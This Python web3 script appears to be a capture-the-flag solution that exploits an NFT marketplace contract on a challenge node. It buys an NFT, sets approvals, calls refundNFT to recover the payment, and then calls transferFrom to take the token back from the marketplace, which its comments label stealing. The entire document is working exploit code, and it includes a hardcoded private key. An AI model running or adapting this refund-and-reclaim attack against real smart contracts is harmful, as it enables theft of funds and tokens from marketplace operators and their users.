from web3 import Web3, AsyncWeb3 from abi import SETUP_ABI, MARKETPLACE_ABI, NFT_ABI PRIVATE_KEY = "0x395cab72bd7776ad84ac36f290f2b2bdf533f44557cf1bab664c04e3771f59fe" TARGET_CONTRACT = "0x76b931C5938E54953978e7318DFcBeA7609a05c1" SETUP_CONTRACT = "0xa7e9b7621Fd4dea2F5A8cFC15155156c7e52BCCC" def print_balance(w3: Web3, account: str) -> None: balance = w3.eth.get_balance(account) / 10**18 print(f"Balance of {account}: {balance}") # Connect to the blockchain w3 = Web3(Web3.HTTPProvider('http://83.136.254.33:55286')) # Test the connection connection_status = w3.is_connected() print(f"Connected to the blockchain: {connection_status}") # Add account from private key account = w3.eth.account.from_key(PRIVATE_KEY) print(f"Account: {account.address}") # Check the balance print_balance(w3, account.address) setup_contract = w3.eth.contract(address=SETUP_CONTRACT, abi=SETUP_ABI) print(f"Setup contract: {setup_contract}") # Load the contract contract = w3.eth.contract(address=TARGET_CONTRACT, abi=MARKETPLACE_ABI) print(f"Contract: {contract}") # list all the functions of the contract functions = contract.all_functions() print(f"Functions: {functions}") # Get the FrontierNFT address from the FrontierMarketplace contract frontier_nft_address = contract.functions.frontierNFT().call() print(f"FrontierNFT contract address: {frontier_nft_address}") # Create a contract instance for FrontierNFT frontier_nft = w3.eth.contract(address=frontier_nft_address, abi=NFT_ABI) # buy the NFT token_id = contract.functions.buyNFT().call({'value': 10 * 10**18, 'from': account.address}) print(f"buy_nft: {token_id}") # transact tx_hash = contract.functions.buyNFT().transact({'value': 10 * 10**18, 'from': account.address}) print(f"tx_hash: {tx_hash.hex()}") # print the balance print_balance(w3, account.address) # approve nft to refund approve_txn = frontier_nft.functions.setApprovalForAll(TARGET_CONTRACT, True).transact({'from': account.address}) print(f"approve_txn: {approve_txn}") # approve the NFT to steal approve_txn = frontier_nft.functions.approve(account.address, token_id).transact({'from': account.address}) print(f"approve_txn: {approve_txn}") # refund the NFT refund_nft = contract.functions.refundNFT(token_id).call({'from': account.address}) print(f"refund_nft: {refund_nft}") # transact tx_hash = contract.functions.refundNFT(token_id).transact({'from': account.address}) print(f"tx_hash: {tx_hash.hex()}") # steal nft back from marketplace transfer_txn = frontier_nft.functions.transferFrom(TARGET_CONTRACT, account.address, token_id).transact({'from': account.address}) # print the balance print_balance(w3, account.address) # check nft balance balance = frontier_nft.functions.balanceOf(account.address).call() print(f"balance: {balance}")